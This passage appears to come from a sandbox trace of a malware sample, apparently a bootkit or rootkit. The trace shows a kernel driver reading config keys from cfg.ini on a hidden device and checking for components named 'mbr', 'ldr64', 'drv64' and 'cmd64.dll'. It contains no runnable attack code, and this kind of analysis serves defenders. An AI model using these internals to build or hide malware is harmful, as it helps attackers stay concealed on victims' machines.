MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.915] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.916] IdePortDispatch () returned 0x103 [0121.916] KeWaitForMutexObject () returned 0x0 [0121.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.916] KeLeaveCriticalRegion () [0121.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.916] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.916] KeEnterCriticalRegion () [0121.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.916] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.916] KeLeaveCriticalRegion () [0121.916] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.916] KeEnterCriticalRegion () [0121.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.916] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.916] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.916] KeLeaveCriticalRegion () [0121.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.917] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.917] KeEnterCriticalRegion () [0121.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.917] ExFreePoolWithTag (P=0xfffffa8003bc9e10, Tag=0x0) [0121.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.917] KeLeaveCriticalRegion () [0121.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.917] ReleaseMutex (hMutex=0xf0) returned 1 [0121.917] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.917] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.917] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.917] KeEnterCriticalRegion () [0121.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.917] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.917] IdePortDispatch () returned 0x103 [0121.917] KeWaitForMutexObject () returned 0x0 [0121.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.917] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.917] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.917] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.917] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.917] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.917] KeLeaveCriticalRegion () [0121.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.917] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.917] KeEnterCriticalRegion () [0121.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.917] KeLeaveCriticalRegion () [0121.918] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.918] KeEnterCriticalRegion () [0121.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.918] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.918] IdePortDispatch () returned 0x103 [0121.918] KeWaitForMutexObject () returned 0x0 [0121.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.918] KeLeaveCriticalRegion () [0121.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.918] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.918] KeEnterCriticalRegion () [0121.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf4000 [0121.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.918] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.918] IdePortDispatch () returned 0x103 [0121.918] KeWaitForMutexObject () returned 0x0 [0121.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.919] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.919] IdePortDispatch () returned 0x103 [0121.919] KeWaitForMutexObject () returned 0x0 [0121.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.919] KeLeaveCriticalRegion () [0121.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.919] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.919] KeEnterCriticalRegion () [0121.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.919] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.919] KeLeaveCriticalRegion () [0121.919] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.919] KeEnterCriticalRegion () [0121.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.919] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.919] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.919] KeLeaveCriticalRegion () [0121.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.920] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.920] KeEnterCriticalRegion () [0121.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.920] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.920] KeLeaveCriticalRegion () [0121.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.920] ReleaseMutex (hMutex=0xf0) returned 1 [0121.920] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.920] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.920] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.920] KeEnterCriticalRegion () [0121.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.920] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.920] IdePortDispatch () returned 0x103 [0121.920] KeWaitForMutexObject () returned 0x0 [0121.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.920] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.920] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.920] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.920] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.920] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2900 [0121.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.920] KeLeaveCriticalRegion () [0121.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.920] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.920] KeEnterCriticalRegion () [0121.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.920] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.920] KeLeaveCriticalRegion () [0121.920] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.921] KeEnterCriticalRegion () [0121.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.921] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.921] IdePortDispatch () returned 0x103 [0121.921] KeWaitForMutexObject () returned 0x0 [0121.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.921] KeLeaveCriticalRegion () [0121.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.921] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.921] KeEnterCriticalRegion () [0121.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf5000 [0121.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.921] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.921] IdePortDispatch () returned 0x103 [0121.921] KeWaitForMutexObject () returned 0x0 [0121.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.921] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.922] IdePortDispatch () returned 0x103 [0121.922] KeWaitForMutexObject () returned 0x0 [0121.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.922] KeLeaveCriticalRegion () [0121.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.922] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.922] KeEnterCriticalRegion () [0121.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.922] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.922] KeLeaveCriticalRegion () [0121.922] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.922] KeEnterCriticalRegion () [0121.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.922] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.922] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be29c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.922] KeLeaveCriticalRegion () [0121.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.923] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.923] KeEnterCriticalRegion () [0121.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.923] ExFreePoolWithTag (P=0xfffffa8003be2900, Tag=0x0) [0121.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.923] KeLeaveCriticalRegion () [0121.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.923] ReleaseMutex (hMutex=0xf0) returned 1 [0121.923] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.923] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.923] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.923] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.923] KeEnterCriticalRegion () [0121.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.923] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.923] IdePortDispatch () returned 0x103 [0121.923] KeWaitForMutexObject () returned 0x0 [0121.923] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.923] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.924] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.924] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.924] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.924] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.924] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.924] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.924] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.924] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.924] KeLeaveCriticalRegion () [0121.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.924] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.924] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.924] KeEnterCriticalRegion () [0121.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.924] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.924] IdePortDispatch () returned 0x103 [0121.925] KeWaitForMutexObject () returned 0x0 [0121.925] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.925] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.925] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.925] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.925] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.925] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.925] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.925] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.925] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.925] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.925] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.925] KeLeaveCriticalRegion () [0121.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.925] ReleaseMutex (hMutex=0x100) returned 1 [0121.925] Sleep (dwMilliseconds=0x2bf20) [0121.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bdf12d0, dwHighDateTime=0x1d24fa4)) [0121.933] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.933] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.933] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.933] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.933] KeEnterCriticalRegion () [0121.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.933] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.933] IdePortDispatch () returned 0x103 [0121.933] KeWaitForMutexObject () returned 0x0 [0121.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.934] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.934] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.934] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.934] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.934] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be22a0 [0121.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.934] KeLeaveCriticalRegion () [0121.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.934] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 